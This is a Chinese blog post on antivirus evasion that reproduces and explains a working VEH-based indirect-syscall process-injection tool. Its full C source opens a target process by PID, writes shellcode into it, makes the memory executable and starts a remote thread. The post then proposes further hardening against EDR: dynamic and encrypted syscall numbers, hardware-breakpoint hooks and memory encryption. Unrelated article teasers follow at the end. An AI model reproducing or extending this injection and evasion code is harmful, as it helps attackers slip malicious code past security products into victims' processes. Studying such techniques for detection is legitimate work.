免杀笔记 ---> 一种有想法的Indirect-Syscall

今天来分享一下,看到的一种Indirect-Syscall,也是两年前的项目了,但是也是能学到思路,从中也是能感受到杀软对抗之间的乐趣!!说到乐趣,让我想起看到过一位大佬的文章对"游褒禅山记"的段落引用,这里也深有同感,或许乐趣就在其中吧!!

而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也! 

目录

1.Veh异常的引入 

2.项目魔改方向

1.动态获取SSN

2.Veh的判断 && SSN的加密

3.增加内存对抗


1.Veh异常的引入 

上一篇Blog讲到过很多Syscall,其中,有人发布了一种新颖的syscall的方式,也是通过Jmp去Ntdll实现的间接系统调用,但是这里引入了Veh。项目地址RedTeamOperations/VEH-PoC (github.com)icon-default.png?t=O83Ahttps://github.com/RedTeamOperations/VEH-PoC/tree/main源代码如下

#pragma once
#include <Windows.h>
#include <stdio.h>
#include "incl.h"EXTERN_C DWORD64 SetSysCall(DWORD offset);BYTE* FindSyscallAddr(ULONG_PTR base) {BYTE* func_base = (BYTE*)(base);BYTE* temp_base = 0x00;//0F05 syscallwhile (*func_base != 0xc3) {temp_base = func_base;if (*temp_base == 0x0f) {temp_base++;if (*temp_base == 0x05) {temp_base++;if (*temp_base == 0xc3) {temp_base = func_base;break;}}}else {func_base++;temp_base = 0x00;}}return temp_base;
}ULONG_PTR g_syscall_addr = 0x00;
ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library // might cause EXCEPTION_ACCESS_VIOLATION // TODO: Add more checks for stabilityif (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {// Todo: decode syscall number in Rip if encoded// modifing the registersexception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;// RIP holds the syscall numberexception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;// setting global addressexception_ptr->ContextRecord->Rip = g_syscall_addr;return EXCEPTION_CONTINUE_EXECUTION;}}void VectoredSyscalPOC(unsigned char payload[], SIZE_T payload_size, int pid) {ULONG_PTR syscall_addr = 0x00;FARPROC drawtext = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDrawText");if (drawtext == NULL) {printf("[-] Error GetProcess Address\n");exit(-1);}syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);if (syscall_addr == NULL) {printf("[-] Error Resolving syscall Address\n");exit(-1);} // storing syscall address globallyg_syscall_addr = syscall_addr;Init vectored handleAddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);NTSTATUS status;// Note: Below syscall might differ system to system // it's better to grab the syscall numbers dynamicallyenum syscall_no {SysNtOpenProcess = 0x26,SysNtAllocateVirtualMem = 0x18,SysNtWriteVirtualMem = 0x3A,SysNtProtectVirtualMem = 0x50,SysNtCreateThreadEx = 0xBD};// Todo: encode syscall numbers// init Nt APIs// Instead of actual Nt API address we'll set the API with syscall number// and calling each Nt APIs causes an exception which'll be later handled from the// registered vectored handler. The reason behind initializing each NtAPIs with// their corresponding syscall number is to pass the syscall number to the // exception handler via RIP register _NtOpenProcess pNtOpenProcess = (_NtOpenProcess)SysNtOpenProcess;_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;_NtCreateThreadEx pNtCreateThreadEx = (_NtProtectVirtualMemory)SysNtCreateThreadEx;HANDLE hProcess = { INVALID_HANDLE_VALUE };HANDLE hThread = NULL;HMODULE pNtdllModule = NULL;CLIENT_ID clID = { 0 };DWORD mPID = pid;OBJECT_ATTRIBUTES objAttr;PVOID remoteBase = 0;SIZE_T bytesWritten = 0;SIZE_T regionSize = 0;unsigned long oldProtection = 0;// Getting handle to module//printf("loaded syscall before detect\n");//system("pause");// Init Object AttributesInitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);clID.UniqueProcess = (void*)mPID;clID.UniqueThread = 0;if (!LoadLibraryA("syscall-detect.dll")) {printf("Failed to load library \n");}printf("[+] Starting Vectored Syscall... \n");system("pause");//printf("loaded syscall detect\n");// open handle to target processstatus = pNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clID);if (!NT_SUCCESS(status)) {printf("[-] Failed to Open Process: %x \n", status);exit(-1);}// Allocate memory in remote processregionSize = payload_size;status = pNtAllocateVirtualMemory(hProcess, &remoteBase, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!NT_SUCCESS(status)) {printf("[-] Remote Allocation Failed: %x \n", status);exit(-1);}// Write payload to remote processstatus = pNtWriteVirtualMemory(hProcess, remoteBase, payload, payload_size, &bytesWritten);if (!NT_SUCCESS(status)) {printf("[-] Failed to write payload in remote process: %x \n", status);exit(-1);}// Change Memory Protection: RW -> RXstatus = pNtProtectVirtualMemory(hProcess, &remoteBase, &regionSize, PAGE_EXECUTE_READ, &oldProtection);if (!NT_SUCCESS(status)) {printf("[-] Failed to change memory protection from RW to RX: %x \n", status);exit(-1);}// Execute Remote Threadstatus = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteBase, NULL, FALSE, 0, 0, 0, NULL);if (!NT_SUCCESS(status)) {printf("[-] Failed to Execute Remote Thread: %x \n", status);exit(-1);}printf("[+] Injected shellcode!! \n");system("pause");
}int main(int argc, char** argv) {// parsing argumentint pid = 0;if (argc < 2 || argc > 2) {printf("[!] filename.exe <PID> \n");exit(-1);}pid = atoi(argv[1]);// MessageBox "hello world"unsigned char payload[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00""\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8""\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00""\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33""\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00""\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D""\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B""\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61""\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33""\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F""\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00""\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F""\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60""\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24""\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27""\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7""\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33""\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C""\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED""\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45""\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C""\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48""\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6""\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B""\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B""\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C""\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44""\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6""\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";// Size of paylaodSIZE_T payload_size = sizeof(payload);// Invoke Classic Process InjectionVectoredSyscalPOC(payload, payload_size, pid);
}

其中这个syscall的一个特色就是它的Veh了,下面我们逐行代码解析

前面不多说的,我们直接跟进VectoredSyscalPOC 这个函数

VectoredSyscalPOC(payload, payload_size, pid);

首先通过找到ZwDrawText这个Zw函数的系统调用

	ULONG_PTR syscall_addr = 0x00;FARPROC drawtext = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDrawText");if (drawtext == NULL) {printf("[-] Error GetProcess Address\n");exit(-1);}syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);if (syscall_addr == NULL) {printf("[-] Error Resolving syscall Address\n");exit(-1);} 

因为就算是天擎这种这么喜欢HookNt函数的也不hook这个冷门函数 

我们跟进去FindSyscallAddr 这个函数

syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);

这个就是在再通过不断移动func_base的地址,来找到drawtext它syscall的地址 

BYTE* FindSyscallAddr(ULONG_PTR base) {BYTE* func_base = (BYTE*)(base);BYTE* temp_base = 0x00;//0F05 syscallwhile (*func_base != 0xc3) {temp_base = func_base;if (*temp_base == 0x0f) {temp_base++;if (*temp_base == 0x05) {temp_base++;if (*temp_base == 0xc3) {temp_base = func_base;break;}}}else {func_base++;temp_base = 0x00;}}return temp_base;
}

接着就是异常处理函数的引入了

AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);

这里我们先不跟进去(我个人觉得会更好理解),我们继续往下看

	enum syscall_no {SysNtOpenProcess = 0x26,SysNtAllocateVirtualMem = 0x18,SysNtWriteVirtualMem = 0x3A,SysNtProtectVirtualMem = 0x50,SysNtCreateThreadEx = 0xBD};// Todo: encode syscall numbers// init Nt APIs// Instead of actual Nt API address we'll set the API with syscall number// and calling each Nt APIs causes an exception which'll be later handled from the// registered vectored handler. The reason behind initializing each NtAPIs with// their corresponding syscall number is to pass the syscall number to the // exception handler via RIP register _NtOpenProcess pNtOpenProcess = (_NtOpenProcess)SysNtOpenProcess;_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;_NtCreateThreadEx pNtCreateThreadEx = (_NtProtectVirtualMemory)SysNtCreateThreadEx;

这里就是把上面的SSN分别给了每一个nt函数的地址(是不是有点奇怪,别急!好戏开场!)

	status = pNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clID);if (!NT_SUCCESS(status)) {printf("[-] Failed to Open Process: %x \n", status);exit(-1);}// Allocate memory in remote processregionSize = payload_size;status = pNtAllocateVirtualMemory(hProcess, &remoteBase, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!NT_SUCCESS(status)) {printf("[-] Remote Allocation Failed: %x \n", status);exit(-1);}// Write payload to remote processstatus = pNtWriteVirtualMemory(hProcess, remoteBase, payload, payload_size, &bytesWritten);if (!NT_SUCCESS(status)) {printf("[-] Failed to write payload in remote process: %x \n", status);exit(-1);}// Change Memory Protection: RW -> RXstatus = pNtProtectVirtualMemory(hProcess, &remoteBase, &regionSize, PAGE_EXECUTE_READ, &oldProtection);if (!NT_SUCCESS(status)) {printf("[-] Failed to change memory protection from RW to RX: %x \n", status);exit(-1);}// Execute Remote Threadstatus = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteBase, NULL, FALSE, 0, 0, 0, NULL);if (!NT_SUCCESS(status)) {printf("[-] Failed to Execute Remote Thread: %x \n", status);exit(-1);}

然后就是分别调用这些NT函数(shellcode注入),但是他们调用的地址都是非法的,所以就会引发异常!!!😋😋

这时候我们再去跟进异常处理函数

ULONG_PTR g_syscall_addr = 0x00;
ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library // might cause EXCEPTION_ACCESS_VIOLATION // TODO: Add more checks for stabilityif (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {// Todo: decode syscall number in Rip if encoded// modifing the registersexception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;// RIP holds the syscall numberexception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;// setting global addressexception_ptr->ContextRecord->Rip = g_syscall_addr;return EXCEPTION_CONTINUE_EXECUTION;}}

我们就突然熟悉了!!!  所以我手动加了一个注释🤠

//This Stub Should Look Like
//mov  r10 , rcx 
//mov  eax , ssn 
//jmp  ntdll!syscallAddr

因为异常处理函数中,我们能获取到它发生异常的地址,而碰巧,我们就调用nt函数的时候这个地址,正好被换成了我们的ssn!! 所以我们的 exception_ptr->ContextRecord->Rip 就是SSN,这里是我认为非常巧妙的一个点!

然后把程序的Rip指向我们之前找到的drawtext它syscall的地址,正正好好的完成了我们的IndirectSyscall!!!

而他的另外一个很大的优点是什么!!

 :它不用构造特定的Stub,或者说不会出现Syscall,Jmp或者说考虑SysWhisper3的egg这种操作,也是可以规避了Syscall的特征检测!!

2.项目魔改方向

1.动态获取SSN

在这份代码中,SSN是作者直接写死了的,于是作者也加了这样的一个注释

	// Note: Below syscall might differ system to system // it's better to grab the syscall numbers dynamically

我们可以动态获取SSN,这种方式已在大部分Syscall项目中实现

2.Veh的判断 && SSN的加密

这个是作者认为可以改进的地方,也是在代码中抛出的

	// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library // might cause EXCEPTION_ACCESS_VIOLATION // TODO: Add more checks for stability

这里是作者前面进行了LoadLibrary的操作,担心导致0xc000005,这里可以加上判断异常地址的值通过算法计算是否是加密的SSN! 因为这里作者也是提到了SSN可以进行一个加密的操作

// Todo: encode syscall numbers// init Nt APIs// Instead of actual Nt API address we'll set the API with syscall number// and calling each Nt APIs causes an exception which'll be later handled from the// registered vectored handler. The reason behind initializing each NtAPIs with// their corresponding syscall number is to pass the syscall number to the // exception handler via RIP register 

所以我们可以对SSN进行加密,然后我们后面 mov eax ,ssn 的操作就可以变成这样

exception_ptr->ContextRecord->Rax = Decrypt(exception_ptr->ContextRecord->Rip);

3.增加内存对抗

现在的对抗趋势,已经逐渐往内存对抗上去进行(如某绒新增的内存查杀可把某些人杀的不浅),所以我们也是可以进行内存动态加解密,但是这里可以配合一种无痕的Hook技术 "硬件断点",这个后续也会进行更新。 

主要是通过Inline-Hook需要修改内存,如果以后的AV || EDR 增加"内存巡检",那么我们的Patch内存将会是一种灾难,甚至会导致直接查杀,但是即使是硬件断点,也是可以被检测!但是还是那句话,"道高一丈,魔高一尺",或许杀软对抗的乐趣就在其中吧!!! :>) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432589.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Boot电商开发:购物商城系统

第2章 关键技术简介 2.1 Java技术 Java是一种非常常用的编程语言&#xff0c;在全球编程语言排行版上总是前三。在方兴未艾的计算机技术发展历程中&#xff0c;Java的身影无处不在&#xff0c;并且拥有旺盛的生命力。Java的跨平台能力十分强大&#xff0c;只需一次编译&#xf…

算法-Init

&#xff08;1&#xff09;有限性&#xff08;Finiteness&#xff09;&#xff1a;算法必 需在有限步骤内结束&#xff1b; &#xff08;2&#xff09;确定性&#xff08;Definiteness&#xff09;&#xff1a;算法的每一个步骤必须清晰无歧义地定义&#xff1b; &#xff08;3…

基于GIKT深度知识追踪模型的习题推荐系统源代码+数据库+使用说明,后端采用flask,前端采用vue

基于GIKT深度知识追踪模型的习题推荐系统 目录结构 Flask-BackEnd flask后端 app 后端主体文件 alg 深度学习模块 data 数据集data_process.py 数据预处理gikt.py GIKT模型pebg.py PEBG模型params.py 一些参数train.py 仅模型训练train_test.py 模型训练和测试-五折交叉验证t…

51单片机-AD(模拟信号转数字信号)-实验(电压采集)

介绍AD AD转换&#xff08;Analog to Digital Conversion&#xff0c;模数转换&#xff09;是将连续的模拟信号转换为离散的数字信号的过程。这个过程在各种电子设备中都非常重要&#xff0c;特别是在涉及传感器、音频信号、视频信号等需要进行数字化处理的领域。 个人理解&a…

《深度学习》ResNet残差网络、BN批处理层 结构、原理详解

目录 一、关于ResNet 1、什么是ResNet 2、传统卷积神经网络存在的问题 1&#xff09;梯度消失和梯度爆炸问题 2&#xff09;训练困难 3&#xff09;特征表示能力受限 4&#xff09;模型复杂度和计算负担 3、如何解决 1&#xff09;解决梯度问题 BN层重要步骤&#xff1a; 2…

mqtt网关数据接入rabbitmq,缓存离线数据,实现消息保留

应用场景&#xff1a;网关将设备数据发布至mqtt服务器后&#xff0c;数采程序因为重启或者升级等原因&#xff0c;未能接到到离线的订阅消息&#xff0c;利用rabbitmq-mqtt可将离线数据缓存&#xff0c;待上线后接收 启用mqtt插件 rabbitmq-plugins enable rabbitmq_mqtt

C++:STL详解(二)string类的模拟实现

✨ Blog’s 主页: 白乐天_ξ( ✿&#xff1e;◡❛) &#x1f308; 个人Motto&#xff1a;他强任他强&#xff0c;清风拂山冈&#xff01; &#x1f4ab; 欢迎来到我的学习笔记&#xff01; &#x1f525;&#x1f525;&#x1f525;&#x1f525;&#x1f525;本文参考文章&…

【HarmonyOS】深入理解@Observed装饰器和@ObjectLink装饰器:嵌套类对象属性变化

【HarmonyOS】深入理解Observed装饰器和ObjectLink装饰器&#xff1a;嵌套类对象属性变化 前言 之前就Observed和ObjectLink写过一篇讲解博客【HarmonyOS】 多层嵌套对象通过ObjectLink和Observed实现渲染更新处理&#xff01; 其中就Observe监听类的使用&#xff0c;Object…

【Linux 报错】vim 保存文件时出现 E45: ‘readonly‘ option is set (add ! to override)

一、错误原因 该错误表明当前你尝试保存的是一个 只读文件&#xff0c;该文件权限设置为只读&#xff0c;具有只读的标识 系统为了防止你意外修改该只读文件&#xff0c;因此会阻止对只读文件的保存&#xff08;他怕你修改了你还保存&#xff0c;破坏了只读属性&#xff09; …

【Linux扩容根分区】LVM分区扩容过程踩坑记录

最近想要给自己使用的Linux操作系统的根分区进行扩容&#xff0c;解决完发现&#xff0c;原来问题如此简单。 特此记录&#xff0c;希望能帮助到有需要的人。 通过df -Th查看系统磁盘分区情况 通过vgdisplay 查看内容 实操过程中&#xff0c;原来红框中&#xff0c;Free PE …

变电站设备检测系统源码分享

变电站设备检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer V…

webview2加载本地页面

加载方式 通过导航到文件 URL 加载本地内容 使用方式&#xff1a; webView->Navigate( L"file:///C:/Users/username/Documents/GitHub/Demos/demo-to-do/index.html"); 但是这种方式存在一些问题&#xff0c;比如&#xff1a; 存在跨域问题&#xff08;我加载…

RocketMQ 常用命令mqadmin与控制面板

使⽤发送和接收消息验证MQ 验证生产者&#xff1a; 配置 nameserver 的环境变量 &#xff0c;在发送/ 接收消息之前&#xff0c;需要告诉客户端 nameserver 的位置。配置环境变量 NAMESRV_ADDR &#xff1a; vim /etc/profileexport NAMESRV_ADDR"192.168.136.66:9876;1…

【网络安全】网络基础第一阶段——第一节:网络协议基础---- OSI与TCP/IP协议

从今天起&#xff0c;我们正式进入第二部分——网络基础。继续学习网络基础、网络协议等相关内容&#x1f31f;&#x1f31f;&#x1f31f; 目录 一、OSI模型 1.1 分层思想 1.2 OSI参考模型 1.3 数据封装与解封装 1.3.1 数据的封装过程 1.3.2 数据的解封装过程 二、TCP/…

探索C语言与Linux编程:获取当前用户ID与进程ID

探索C语言与Linux编程:获取当前用户ID与进程ID 一、Linux系统概述与用户、进程概念二、C语言与系统调用三、获取当前用户ID四、获取当前进程ID五、综合应用:同时获取用户ID和进程ID六、深入理解与扩展七、结语在操作系统与编程语言的交汇点,Linux作为开源操作系统的典范,为…

2025年第十届智能信息技术国际会议 (ICIIT 2025)即将召开!

第10届智能信息技术国际会议&#xff08;ICIIT 2025&#xff09;将于2025年2月20日至23日在越南河内举行。ICIIT系列会议将每年举行&#xff0c;为智能信息技术及相关领域提供互动论坛&#xff0c;除了越南的研究人员外&#xff0c;会议小组还欢迎来自世界各地的有兴趣与该地区…

【在Linux世界中追寻伟大的One Piece】进程间通信

目录 1 -> 进程间通信介绍 1.1 -> 进程间通信目的 1.2 -> 进程间通信发展 1.3 -> 进程间通信分类 1.3.1 -> 管道 1.3.2 -> System V IPC 1.3.3 -> POSIX IPC 2 -> 管道 2.1 -> 什么是管道 2.2 -> 匿名管道 2.3 -> 实例代码 2.4 -…

JavaScript typeof运算符

在js中可以typeof来做到确定一个值到底是什么类型。 <script>var num 100;//数值类型var name "mingzi";//字符串类型var book true;//布尔类型var student {name: " 小明",age: 16,tnum: "213444"}//对象是由多个数据组合而成&#x…

[NewStarCTF 2023 公开赛道]Begin of PHP1

开始代码审计. <?php error_reporting(0); highlight_file(__FILE__);if(isset($_GET[key1]) && isset($_GET[key2])){echo "Level 1<br>";if($_GET[key1] ! $_GET[key2] && md5($_GET[key1]) md5($_GET[key2])){$flag1 True;}else{die(…

项目实战:Qt+OSG爆破动力学仿真三维引擎测试工具v1.1.0(加载.K模型,子弹轨迹模拟动画,支持windows、linux、国产麒麟系统)

若该文为原创文章&#xff0c;转载请注明出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/142454993 长沙红胖子Qt&#xff08;长沙创微智科&#xff09;博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、Op…